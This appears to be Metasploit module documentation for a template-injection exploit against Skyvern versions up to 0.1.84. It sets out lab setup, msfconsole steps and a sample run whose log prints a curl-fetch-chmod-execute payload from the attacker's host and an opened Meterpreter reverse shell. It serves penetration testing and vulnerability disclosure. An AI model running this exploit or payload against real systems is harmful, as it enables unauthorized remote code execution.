## Vulnerable Application

Skyvern is browser-based automation tool integrated with AI and LLMs.
It allows to create workflows, which can perform automation tasks based on LLMs.
Version up to 0.1.84 is vulnerable to SSTI, which can lead to remote code execution.
The application is available [here](https://github.com/Skyvern-AI/skyvern.git).

### Installation

1. `git clone https://github.com/Skyvern-AI/skyvern.git`
2. `cd skyvern`
3. `mv .env.example .env`
4. `mv skyvern-frontend/.env.example skyvern-frontend/.env`
5. Override the content of `docker-compose.yml` with the following configuration:
```yaml
services:
  postgres:
    image: postgres:14-alpine
    restart: always
    # comment out if you want to externally connect DB
    ports:
      - 5432:5432
    volumes:
      - ./postgres-data:/var/lib/postgresql/data
    environment:
      - PGDATA=/var/lib/postgresql/data/pgdata
      - POSTGRES_USER=skyvern
      - POSTGRES_PASSWORD=skyvern
      - POSTGRES_DB=skyvern
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U skyvern"]
      interval: 5s
      timeout: 5s
      retries: 5
  skyvern:
    image: public.ecr.aws/skyvern/skyvern:v0.1.84
    restart: on-failure
    env_file:
      - .env
    # comment out if you want to externally call skyvern API
    ports:
      - 8000:8000
      - 9222:9222 # for cdp browser forwarding
    volumes:
      - ./artifacts:/data/artifacts
      - ./videos:/data/videos
      - ./har:/data/har
      - ./log:/data/log
      - ./.streamlit:/app/.streamlit
      # Uncomment the following two lines if you want to connect to any local changes
      # - ./skyvern:/app/skyvern
      # - ./alembic:/app/alembic
    environment:
      - DATABASE_STRING=postgresql+psycopg://skyvern:skyvern@postgres:5432/skyvern
      - BROWSER_TYPE=chromium-headful
      - ENABLE_CODE_BLOCK=true
      # - BROWSER_TYPE=cdp-connect
      # Use this command to start Chrome with remote debugging:
      # "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir="C:\chrome-cdp-profile" --no-first-run --no-default-browser-check
      # /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --user-data-dir="/Users/yourusername/chrome-cdp-profile" --no-first-run --no-default-browser-check
      # - BROWSER_REMOTE_DEBUGGING_URL=http://host.docker.internal:9222/
    # =========================
    #       LLM Settings - Recommended to use skyvern CLI, `skyvern init llm` to setup your LLM's
    # =========================
    # OpenAI Support:
    # If you want to use OpenAI as your LLM provider, uncomment the following lines and fill in your OpenAI API key.
    # - ENABLE_OPENAI=true
    # - LLM_KEY=OPENAI_GPT4O
    # - OPENAI_API_KEY=<your_openai_key>
    #  Gemini Support:
    # Gemini is a new LLM provider that is currently in beta. You can use it by uncommenting the following lines and filling in your Gemini API key.
    # - LLM_KEY=GEMINI
    # - ENABLE_GEMINI=true
    # - GEMINI_API_KEY=YOUR_GEMINI_KEY
    # - LLM_KEY=GEMINI_2.5_PRO_PREVIEW_03_25
    # If you want to use other LLM provider, like azure and anthropic:
    # - ENABLE_ANTHROPIC=true
    # - LLM_KEY=ANTHROPIC_CLAUDE3.5_SONNET
    # - ANTHROPIC_API_KEY=<your_anthropic_key>
    # Microsoft Azure OpenAI support:
    # If you'd like to use Microsoft Azure OpenAI as your managed LLM service integration with Skyvern, use the environment variables below.
    # In your Microsoft Azure subscription, you will need to provision the OpenAI service and deploy a model, in order to utilize it.
    # 1. Login to the Azure Portal
    # 2. Create an Azure Resource Group
    # 3. Create an OpenAI resource in the Resource Group (choose a region and pricing tier)
    # 4. From the OpenAI resource's Overview page, open the "Azure AI Foundry" portal (click the "Explore Azure AI Foundry Portal" button)
    # 5. In Azure AI Foundry, click "Shared Resources" --> "Deployments"
    # 6. Click "Deploy Model" --> "Deploy Base Model" --> select a model (specify this model "Deployment Name" value for the AZURE_DEPLOYMENT variable below)
    # - ENABLE_AZURE=true
    # - LLM_KEY=AZURE_OPENAI                          # Leave this value static, don't change it
    # - AZURE_DEPLOYMENT=<your_azure_deployment>      # Use the OpenAI model "Deployment Name" that you deployed, using the steps above
    # - AZURE_API_KEY=<your_azure_api_key>            # Copy and paste Key1 or Key2 from the OpenAI resource in Azure Portal
    # - AZURE_API_BASE=<your_azure_api_base>          # Copy and paste the "Endpoint" from the OpenAI resource in Azure Portal (eg. https://xyzxyzxyz.openai.azure.com/)
    # - AZURE_API_VERSION=<your_azure_api_version>    # Specify a valid Azure OpenAI data-plane API version (eg. 2024-08-01-preview) Docs: https://learn.microsoft.com/en-us/azure/ai-services/openai/reference
    # Amazon Bedrock Support:
    # Amazon Bedrock is a managed service that enables you to invoke LLMs and bill them through your AWS account.
    # To use Amazon Bedrock as the LLM provider for Skyvern, specify the following environment variables.
    # 1. In the AWS IAM console, create a new AWS IAM User (name it whatever you want)
    # 2. Assign the "AmazonBedrockFullAccess" policy to the user
    # 3. Generate an IAM Access Key under the IAM User's Security Credentials tab
    # 4. In the Amazon Bedrock console, go to "Model Access"
    # 5. Click Modify Model Access button
    # 6. Enable "Claude 3.5 Sonnet v2" and save changes
    # - ENABLE_BEDROCK=true
    # - LLM_KEY=BEDROCK_ANTHROPIC_CLAUDE3.5_SONNET   # This is the Claude 3.5 Sonnet "V2" model. Change to BEDROCK_ANTHROPIC_CLAUDE3.5_SONNET_V1 for the non-v2 version.
    # - AWS_REGION=us-west-2                         # Replace this with a different AWS region, if you desire
    # - AWS_ACCESS_KEY_ID=FILL_ME_IN_PLEASE
    # - AWS_SECRET_ACCESS_KEY=FILL_ME_IN_PLEASE
    # Ollama Support:
    # Ollama is a local LLM provider that can be used to run models locally on your machine.
    # - LLM_KEY=OLLAMA
    # - ENABLE_OLLAMA=true
    # - OLLAMA_MODEL=qwen2.5:7b-instruct
    # - OLLAMA_SERVER_URL=http://host.docker.internal:11434
    # Open Router Support:
    # - ENABLE_OPENROUTER=true
    # - LLM_KEY=OPENROUTER
    # - OPENROUTER_API_KEY=<your_openrouter_api_key>
    # - OPENROUTER_MODEL=mistralai/mistral-small-3.1-24b-instruct
    # Groq Support:
    # - ENABLE_GROQ=true
    # - LLM_KEY=GROQ
    # - GROQ_API_KEY=<your_groq_api_key>
    # - GROQ_MODEL=llama-3.1-8b-instant

    # Maximum tokens to use: (only set for OpenRouter aand Ollama)
    # - LLM_CONFIG_MAX_TOKENS=128000

    # Bitwarden Settings
    # If you are looking to integrate Skyvern with a password manager (eg Bitwarden), you can use the following environment variables.
    # - BITWARDEN_SERVER=http://localhost  # OPTIONAL IF YOU ARE SELF HOSTING BITWARDEN
    # - BITWARDEN_SERVER_PORT=8002 # OPTIONAL IF YOU ARE SELF HOSTING BITWARDEN
    # - BITWARDEN_CLIENT_ID=FILL_ME_IN_PLEASE
    # - BITWARDEN_CLIENT_SECRET=FILL_ME_IN_PLEASE
    # - BITWARDEN_MASTER_PASSWORD=FILL_ME_IN_PLEASE

    # 1Password Integration
    # If you are looking to integrate Skyvern with 1Password, you can use the following environment variables.
    # OP_SERVICE_ACCOUNT_TOKEN=""
    depends_on:
      postgres:
        condition: service_healthy
    healthcheck:
      test: ["CMD", "test", "-f", "/app/.streamlit/secrets.toml"]
      interval: 5s
      timeout: 5s
      retries: 5
  skyvern-ui:
    image: public.ecr.aws/skyvern/skyvern-ui:latest
    restart: on-failure
    ports:
      - 8080:8080
      - 9090:9090
    volumes:
      - ./artifacts:/data/artifacts
      - ./videos:/data/videos
      - ./har:/data/har
      - ./.streamlit:/app/.streamlit
    env_file:
      - skyvern-frontend/.env
    environment: {}
    #  - VITE_ENABLE_CODE_BLOCK=true
    # if you want to run skyvern on a remote server,
    # you need to change the host in VITE_WSS_BASE_URL and VITE_API_BASE_URL to match your server ip
    # If you're self-hosting this behind a dns, you'll want to set:
    #   A route for the API: api.yourdomain.com -> localhost:8000
    #   A route for the UI: yourdomain.com -> localhost:8080
    #   A route for the artifact API: artifact.yourdomain.com -> localhost:9090 (maybe not needed)
    # - VITE_WSS_BASE_URL=ws://localhost:8000/api/v1
    #   - VITE_ARTIFACT_API_BASE_URL=http://localhost:9090
    #   - VITE_API_BASE_URL=http://localhost:8000/api/v1
    #   - VITE_SKYVERN_API_KEY=<get this from "settings" in the Skyvern UI>
    depends_on:
      skyvern:
        condition: service_healthy
```
6. `docker-compose up`


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use linux/http/skyvern_ssti_cve_2025_49619`
4. Set `rhost`,`rport`, `lhost`, `lport`
5. Do: `set API_KEY [skyvern API key]`
6. Do: `run`
7. You should get a shell.

## Options

### API_KEY

The Skyvern uses API key to access API and manage the application.
It is necessary to view, create and modify workflows. It can be acquired from UI interface.

## Scenarios

Vulnerable version is <=0.1.84.

```
msf exploit(linux/http/skyvern_ssti_cve_2025_49619) > run verbose=true
[*] Command to run on remote host: curl -so ./SFDHeJURLqF http://192.168.168.183:8080/YtbemzlkZg8l1wkKWmIdEg;chmod +x ./SFDHeJURLqF;./SFDHeJURLqF&
[*] Fetch handler listening on 192.168.168.183:8080
[*] HTTP server started
[*] Adding resource /YtbemzlkZg8l1wkKWmIdEg
[*] Started reverse TCP handler on 192.168.168.183:4444
[*] Client 192.168.168.146 requested /YtbemzlkZg8l1wkKWmIdEg
[*] Sending payload to 192.168.168.146 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.168.146
[*] Meterpreter session 1 opened (192.168.168.183:4444 -> 192.168.168.146:48480) at 2025-06-23 10:04:13 +0200

meterpreter > sysinfo
Computer     : 172.18.0.3
OS           : Debian 12.10 (Linux 6.8.0-52-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

```
